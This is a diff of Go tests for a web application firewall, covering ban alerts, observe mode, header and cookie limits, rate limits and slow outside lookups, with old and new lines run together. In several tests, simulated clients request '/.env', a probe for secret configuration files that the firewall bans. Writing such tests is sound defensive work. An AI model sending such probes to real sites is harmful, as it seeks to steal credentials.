}, requestlog.FormatTime(start.Add(time.Hour)))) }, requestlog.FormatTime(start.Add(time.Hour))))
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" { if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
t.Errorf( t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
"the alert's notes are %+v, want those of the broken limit",
ban.Notes,
)
} }
} }
@@ -65,12 +62,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
// The probe bans the client for seven days, and its next request makes // The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing. // the ban permanent. The request after that changes nothing.
s.request( s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
"/.env",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
attackBan := server.Ledger.Bans(netblock)[0] attackBan := server.Ledger.Bans(netblock)[0]
@@ -91,27 +83,15 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
otherBans := server.Ledger.Bans(other) otherBans := server.Ledger.Bans(other)
wantAlerts( wantAlerts(t, queue,
t,
queue,
attackAlert(alerts.EventBan, start, client, attackBan, attackAlert(alerts.EventBan, start, client, attackBan,
requestlog.FormatTime(start.Add(7*24*time.Hour))), requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client, attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
permanentBan, "permanent"), permanentBan, "permanent"),
attackAlert( attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
alerts.EventBan, requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
start.Add(time.Minute), attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
otherClient, otherClient, otherBans[1], "permanent"),
otherBans[0],
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
),
attackAlert(
alerts.EventPermanentBan,
start.Add(time.Minute+7*24*time.Hour),
otherClient,
otherBans[1],
"permanent",
),
) )
} }
@@ -128,11 +108,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
// A ban for a clear sign of attack, which a request under it would make // A ban for a clear sign of attack, which a request under it would make
// permanent. // permanent.
group := netip.MustParsePrefix(ipv6Group) group := netip.MustParsePrefix(ipv6Group)
attackBan, _ := server.Ledger.BanForAttack( attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
group,
start,
bans.Notes{RuleID: "probe"},
)
// The third request breaks the limit, and so does the fourth, within the // The third request breaks the limit, and so does the fourth, within the
// cooldown, which raises nothing. The probe is a clear sign of attack. // cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -147,12 +123,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
held := server.Ledger.Snapshot() held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) || if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) { line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf( t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"the ledger holds %+v, and the log line gives %s, want the ban "+ "for the attack alone, as it was", held, line.BanExpires)
"for the attack alone, as it was",
held,
line.BanExpires,
)
} }
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -166,35 +138,21 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" || if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
attackNotes.Request.Path != "/.env" { attackNotes.Request.Path != "/.env" {
t.Errorf( t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
"the notes are %+v and %+v, want those of the broken limit and "+ "of the probe", limitNotes, attackNotes)
"of the probe",
limitNotes,
attackNotes,
)
} }
// Each alert is the one enforce mode would have raised, with mode // Each alert is the one enforce mode would have raised, with mode
// observe in its detail. // observe in its detail.
want := []alerts.Alert{ want := []alerts.Alert{
banAlert(alerts.EventBan, start, client, bans.Ban{ banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 2", Notes: limitNotes, Reason: "requests per minute over the limit of 2", Notes: limitNotes,
}, requestlog.FormatTime(start.Add(time.Hour))), }, requestlog.FormatTime(start.Add(time.Hour))),
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{ attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
otherClient + "/32",
), Notes: attackNotes,
}, requestlog.FormatTime(start.Add(7*24*time.Hour))), }, requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert( attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
alerts.EventPermanentBan,
start,
ipv6Client,
attackBan,
permanent,
),
} }
for _, alert := range want { for _, alert := range want {
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
@@ -222,12 +180,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// The other client's first probe raises the second. Its second probe is // The other client's first probe raises the second. Its second probe is
// within the cooldown. // within the cooldown.
for range 2 { for range 2 {
s.request( s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
otherClient,
"/.env",
http.StatusOK,
requestlog.ActionForward,
)
} }
// The IPv6 client's third request breaks the limit past the two alerts // The IPv6 client's third request breaks the limit past the two alerts
@@ -253,11 +206,7 @@ func startWithAlerts(
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *waf.Server, *alerts.Queue) {
t.Helper() t.Helper()
return startAppWithAlerts( return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
t,
func(http.ResponseWriter, *http.Request) {},
env,
)
} }
// startAppWithAlerts is startWithAlerts in front of the app handler. // startAppWithAlerts is startWithAlerts in front of the app handler.
@@ -275,13 +224,7 @@ func startAppWithAlerts(
} }
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts( addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
t,
app.URL,
"",
clk.Now,
settings,
)
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out} s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
@@ -292,11 +235,7 @@ func startAppWithAlerts(
// the time raised, for ban, with its netblock, cause, reason and notes, // the time raised, for ban, with its netblock, cause, reason and notes,
// which ends at expires, as the log line gives it. // which ends at expires, as the log line gives it.
func banAlert( func banAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Instance: alertInstance, Instance: alertInstance,
@@ -315,11 +254,7 @@ func banAlert(
// attackAlert is banAlert for a ban for the probe rule of testRules, with // attackAlert is banAlert for a ban for the probe rule of testRules, with
// the netblock and the notes of ban. // the netblock and the notes of ban.
func attackAlert( func attackAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return banAlert(event, raised, client, bans.Ban{ return banAlert(event, raised, client, bans.Ban{
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe", Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
+1 -4
View File
@@ -24,10 +24,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
defer func() { defer func() {
if r := recover(); r != nil { if r := recover(); r != nil {
t.Errorf( t.Errorf("counting the request did work, with every threshold off: %v", r)
"counting the request did work, with every threshold off: %v",
r,
)
} }
}() }()
+15 -41
View File
@@ -51,9 +51,7 @@ const (
hour = "hour" hour = "hour"
) )
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown( func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, scope := range []struct { for _, scope := range []struct {
@@ -97,8 +95,9 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t.Run(setting, func(t *testing.T) { t.Run(setting, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{setting: value, watchNets: office} s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
s, clk, server, queue := startWithLookupsAndClock(t, env) setting: value, watchNets: office,
})
start := clk.Now() start := clk.Now()
// The third upload takes the count over the threshold, and the // The third upload takes the count over the threshold, and the
@@ -157,10 +156,7 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) || if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
waiting[1].SuppressedRepeats != 1 { waiting[1].SuppressedRepeats != 1 {
t.Errorf( t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
"alerts wait %+v, want the first and another, with 1 repeat",
waiting,
)
} }
} }
@@ -205,10 +201,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
got = append(got, alert.Client.String()) got = append(got, alert.Client.String())
} }
if want := []string{allowed, exempt, client, denied}; !slices.Equal( if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
got,
want,
) {
t.Errorf("alerts for the clients %v, want %v", got, want) t.Errorf("alerts for the clients %v, want %v", got, want)
} }
} }
@@ -217,10 +210,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
t.Parallel() t.Parallel()
// With every threshold off, nothing is counted. // With every threshold off, nothing is counted.
s, server, queue := startWithLookups( s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
t,
map[string]string{watchNets: office},
)
for range 5 { for range 5 {
s.uploadFrom(client) s.uploadFrom(client)
@@ -316,10 +306,7 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
got[counter.ASN] = counter.Minute.Current got[counter.ASN] = counter.Minute.Current
} }
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal( if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by AS number %v, want %v", got, want) t.Errorf("requests by AS number %v, want %v", got, want)
} }
} }
@@ -337,9 +324,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
release() release()
waitUntil(func() bool { waitUntil(func() bool {
_, kept := server.Load().GeoJS.Kept( _, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
netip.MustParsePrefix(fromDE + "/32"),
)
return kept return kept
}) })
@@ -357,10 +342,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// number it gives. // number it gives.
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" { if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
t.Errorf( t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
"log line has AS number %q, want none: the request waited",
line.ASN,
)
} }
want := []anomaly.Counter{{ want := []anomaly.Counter{{
@@ -375,15 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server, _ := startAppWithAlerts( s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
t, anomalyWatch + requestsPerMinute: aLot,
readAndAnswer, watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
map[string]string{ })
anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16" +
",other=198.51.100.0/25",
},
)
// client is in office and in wide. // client is in office and in wide.
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} { for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -395,10 +372,7 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
got[counter.Name] = counter.Minute.Current got[counter.Name] = counter.Minute.Current
} }
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal( if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by named netblock %v, want %v", got, want) t.Errorf("requests by named netblock %v, want %v", got, want)
} }
} }
+48 -185
View File
@@ -75,9 +75,7 @@ func fillHeaders(req *http.Request, total int) {
} }
} }
func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem( func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s := startWAF(t, "", map[string]string{wafMode: block}) s := startWAF(t, "", map[string]string{wafMode: block})
@@ -92,10 +90,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge) wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.DurationCoreRuleSetMS != nil { if line.DurationCoreRuleSetMS != nil {
t.Errorf( t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
"the Core Rule Set read the request, for %f ms",
*line.DurationCoreRuleSetMS,
)
} }
} }
@@ -107,12 +102,8 @@ func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
fillHeaders(req, headerFieldLimit+1) fillHeaders(req, headerFieldLimit+1)
do(t, req) do(t, req)
wantHeuristic( wantHeuristic(t, s.out.requestLine(t), "header_limits",
t, `{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
s.out.requestLine(t),
"header_limits",
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`,
)
} }
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) { func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
@@ -169,12 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
if tc.refused { if tc.refused {
wantDisposition(t, got, tooLarge, waf.DispositionDeny) wantDisposition(t, got, tooLarge, waf.DispositionDeny)
wantLine( wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
t,
line,
tooLarge,
requestlog.ActionRequestHeaderTooLarge,
)
return return
} }
@@ -183,9 +169,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
wantLine(t, line, http.StatusOK, requestlog.ActionForward) wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.DurationCoreRuleSetMS == nil { if line.DurationCoreRuleSetMS == nil {
t.Error( t.Error("the Core Rule Set did not read a request within the limits")
"the Core Rule Set did not read a request within the limits",
)
} }
}) })
} }
@@ -214,11 +198,7 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) { func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
t.Parallel() t.Parallel()
s := startWAF( s := startWAF(t, "", map[string]string{wafMode: block, allowNets: client})
t,
"",
map[string]string{wafMode: block, allowNets: client},
)
req := s.question(siteA, client, "/") req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
@@ -239,12 +219,8 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
line := s.out.requestLine(t) line := s.out.requestLine(t)
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge || if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
line.DurationCoreRuleSetMS != nil { line.DurationCoreRuleSetMS != nil {
t.Errorf( t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
"would_action %q and duration_core_rule_set_ms %v, want %q and none", line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
line.WouldAction,
line.DurationCoreRuleSetMS,
requestlog.ActionRequestHeaderTooLarge,
)
} }
} }
@@ -259,12 +235,7 @@ func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) {
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny) wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
} }
wantDisposition( wantDisposition(t, s.ask(client, "/"), http.StatusOK, waf.DispositionAllow)
t,
s.ask(client, "/"),
http.StatusOK,
waf.DispositionAllow,
)
} }
func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) { func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
@@ -339,12 +310,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
req.Header.Set(cookieHeader, cookies(cookieLimit+1)) req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny) wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
wantLine( wantLine(t, s.out.requestLine(t), tooLarge, requestlog.ActionRequestHeaderTooLarge)
t,
s.out.requestLine(t),
tooLarge,
requestlog.ActionRequestHeaderTooLarge,
)
}) })
} }
} }
@@ -361,12 +327,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
}) })
s := startWAF(t, "", map[string]string{ s := startWAF(t, "", map[string]string{
lookupSource: fileSource, lookupDBPath: path, lookupSource: fileSource, lookupDBPath: path,
tagLists: "vpn=" + vpnList, tagLists: "vpn=" + vpnList,
routeWatchURL: startRouteWatch( routeWatchURL: startRouteWatch(t, map[string]standInRoute{client: {prefixDE, 64496}}),
t, dnsblZones: dnsblZone, reputationAction: actionLog,
map[string]standInRoute{client: {prefixDE, 64496}},
),
dnsblZones: dnsblZone, reputationAction: actionLog,
rulesDir: writeRules(t, "noted path log ^/\n"), rulesDir: writeRules(t, "noted path log ^/\n"),
wafMode: block, wafMode: block,
}) })
@@ -388,34 +351,19 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) || if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) ||
lines[0].DurationCoreRuleSetMS != nil { lines[0].DurationCoreRuleSetMS != nil {
t.Errorf( t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want none",
"rule ids %v, counts %+v and Core Rule Set time %v, want none", lines[0].RuleIDs, lines[0].Counts, lines[0].DurationCoreRuleSetMS)
lines[0].RuleIDs,
lines[0].Counts,
lines[0].DurationCoreRuleSetMS,
)
} }
// The request within the limits shows that each check leaves its mark. // The request within the limits shows that each check leaves its mark.
wantTags( wantTags(t, lines[1],
t, "asn=64496", "country=DE", "dnsbl="+dnsblZone, "exploitsignature", "vpn")
lines[1],
"asn=64496",
"country=DE",
"dnsbl="+dnsblZone,
"exploitsignature",
"vpn",
)
wantTagsMissing(t, lines[1], "no_answer_yet") wantTagsMissing(t, lines[1], "no_answer_yet")
if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 || if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 ||
lines[1].DurationCoreRuleSetMS == nil { lines[1].DurationCoreRuleSetMS == nil {
t.Errorf( t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want each",
"rule ids %v, counts %+v and Core Rule Set time %v, want each", lines[1].RuleIDs, lines[1].Counts, lines[1].DurationCoreRuleSetMS)
lines[1].RuleIDs,
lines[1].Counts,
lines[1].DurationCoreRuleSetMS,
)
} }
} }
@@ -430,29 +378,17 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
}) })
countClient(t, s.server, s.clock.Now()) countClient(t, s.server, s.clock.Now())
wantDisposition( wantDisposition(t, s.ask(fromDE, "/"), http.StatusForbidden, waf.DispositionDeny)
t,
s.ask(fromDE, "/"),
http.StatusForbidden,
waf.DispositionDeny,
)
line := s.out.requestLine(t) line := s.out.requestLine(t)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.RateLimitPercent != nil { if line.RateLimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent) t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
} }
} }
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting( func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// The client's next request takes it over the whole limit, so it does // The client's next request takes it over the whole limit, so it does
@@ -467,29 +403,17 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
}}) }})
countClient(t, s.server, s.clock.Now()) countClient(t, s.server, s.clock.Now())
wantDisposition( wantDisposition(t, s.ask(client, "/"), http.StatusForbidden, waf.DispositionDeny)
t,
s.ask(client, "/"),
http.StatusForbidden,
waf.DispositionDeny,
)
line := s.out.requestLine(t) line := s.out.requestLine(t)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 { if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 {
t.Errorf("limit percentage %v, want 0", line.RateLimitPercent) t.Errorf("limit percentage %v, want 0", line.RateLimitPercent)
} }
} }
func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits( func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
@@ -503,12 +427,8 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow) wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" { if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" {
t.Errorf( t.Errorf("GeoJS was asked about %v, and the answer gave the AS number %q, "+
"GeoJS was asked about %v, and the answer gave the AS number %q, "+ "want neither", asked(), got.header.Get("X-Client-Asn"))
"want neither",
asked(),
got.header.Get("X-Client-Asn"),
)
} }
} }
@@ -535,12 +455,7 @@ func askDirectly(
) (int, time.Duration) { ) (int, time.Duration) {
t.Helper() t.Helper()
req := httptest.NewRequestWithContext( req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234") req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
req.Header.Set(waf.ClientHeader, client) req.Header.Set(waf.ClientHeader, client)
req.Header.Set(requestIDHeader, "the-id") req.Header.Set(requestIDHeader, "the-id")
@@ -556,20 +471,12 @@ func askDirectly(
// banClient bans client at now. // banClient bans client at now.
func banClient(_ *testing.T, server *waf.Server, now time.Time) { func banClient(_ *testing.T, server *waf.Server, now time.Time) {
server.Ledger.BanForLimit( server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
netip.MustParsePrefix(client+"/32"),
now,
bans.Notes{},
)
} }
// countClient counts one request from client at now for the rate limits. // countClient counts one request from client at now for the rate limits.
func countClient(_ *testing.T, server *waf.Server, now time.Time) { func countClient(_ *testing.T, server *waf.Server, now time.Time) {
server.Limiter.Count( server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
netip.MustParsePrefix(client+"/32"),
now,
wholeLimit,
)
} }
// listClient puts client on the blocklist at dropURL. // listClient puts client on the blocklist at dropURL.
@@ -652,22 +559,13 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
server, out := newWAFInBubble(t, tc.env) server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now()) tc.prepare(t, server, time.Now())
status, took := askDirectly( status, took := askDirectly(t, server, func(req *http.Request) {
t, req.Header.Set(cookieHeader, tc.cookie)
server, })
func(req *http.Request) {
req.Header.Set(cookieHeader, tc.cookie)
},
)
if status != tc.status || took != 0 { if status != tc.status || took != 0 {
t.Errorf( t.Errorf("answered %d after %s, want %d at once; output:\n%s",
"answered %d after %s, want %d at once; output:\n%s", status, took, tc.status, out.text())
status,
took,
tc.status,
out.text(),
)
} }
wantLine(t, out.requestLine(t), tc.status, tc.action) wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -679,9 +577,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
} }
} }
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays( func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -720,21 +616,11 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(
server, out := newWAFInBubble(t, tc.env) server, out := newWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now()) tc.prepare(t, server, time.Now())
status, took := askDirectly( status, took := askDirectly(t, server, func(*http.Request) {})
t,
server,
func(*http.Request) {},
)
if status != tc.status || took != defaultLookupWait { if status != tc.status || took != defaultLookupWait {
t.Errorf( t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
"answered %d after %s, want %d after %s; output:\n%s", status, took, tc.status, defaultLookupWait, out.text())
status,
took,
tc.status,
defaultLookupWait,
out.text(),
)
} }
wantLine(t, out.requestLine(t), tc.status, tc.action) wantLine(t, out.requestLine(t), tc.status, tc.action)
@@ -778,11 +664,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
// AbuseIPDB is asked only about a client with an offence. // AbuseIPDB is asked only about a client with an offence.
group := netip.MustParsePrefix(client + "/32") group := netip.MustParsePrefix(client + "/32")
server.Limiter.AddToHistory( server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
group,
time.Now(),
ratelimit.Request{Attack: true},
)
status, took := askDirectly(t, server, func(req *http.Request) { status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set("User-Agent", "test") req.Header.Set("User-Agent", "test")
@@ -791,17 +673,9 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
}) })
// The wait for GeoJS decides when the answer comes. // The wait for GeoJS decides when the answer comes.
if status != http.StatusOK || took != defaultLookupWait || if status != http.StatusOK || took != defaultLookupWait || took >= answerTimeLimit {
took >= answerTimeLimit { t.Errorf("answered %d after %s, want %d after %s, within %s; output:\n%s",
t.Errorf( status, took, http.StatusOK, defaultLookupWait, answerTimeLimit, out.text())
"answered %d after %s, want %d after %s, within %s; output:\n%s",
status,
took,
http.StatusOK,
defaultLookupWait,
answerTimeLimit,
out.text(),
)
} }
// Each outside source was asked, and none has answered. GeoJS is asked // Each outside source was asked, and none has answered. GeoJS is asked
@@ -812,17 +686,10 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
// The resolver holds the query until it is released below, so a waf // The resolver holds the query until it is released below, so a waf
// that waited for the query would answer only once it had failed. // that waited for the query would answer only once it had failed.
queries, failures := server.DNSBL.Queries( queries, failures := server.DNSBL.Queries(dnsblZone), server.DNSBL.Failures(dnsblZone)
dnsblZone,
), server.DNSBL.Failures(
dnsblZone,
)
if queries != 1 || failures != 0 { if queries != 1 || failures != 0 {
t.Errorf( t.Errorf("%d queries to the DNS blocklist, %d failed, want 1, none failed",
"%d queries to the DNS blocklist, %d failed, want 1, none failed", queries, failures)
queries,
failures,
)
} }
if checked := server.AbuseIPDB.Checked(); checked != 1 { if checked := server.AbuseIPDB.Checked(); checked != 1 {
@@ -854,11 +721,7 @@ const (
func startHeldResolver(t *testing.T) (string, func()) { func startHeldResolver(t *testing.T) (string, func()) {
t.Helper() t.Helper()
conn, err := (&net.ListenConfig{}).ListenPacket( conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
t.Context(),
"udp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
+10 -33
View File
@@ -29,11 +29,7 @@ type activeBan struct{}
func (activeBan) name() string { return "active_ban" } func (activeBan) name() string { return "active_ban" }
func (activeBan) check( func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
check := rq.h.ledger.Check check := rq.h.ledger.Check
if rq.h.config.Observe { if rq.h.config.Observe {
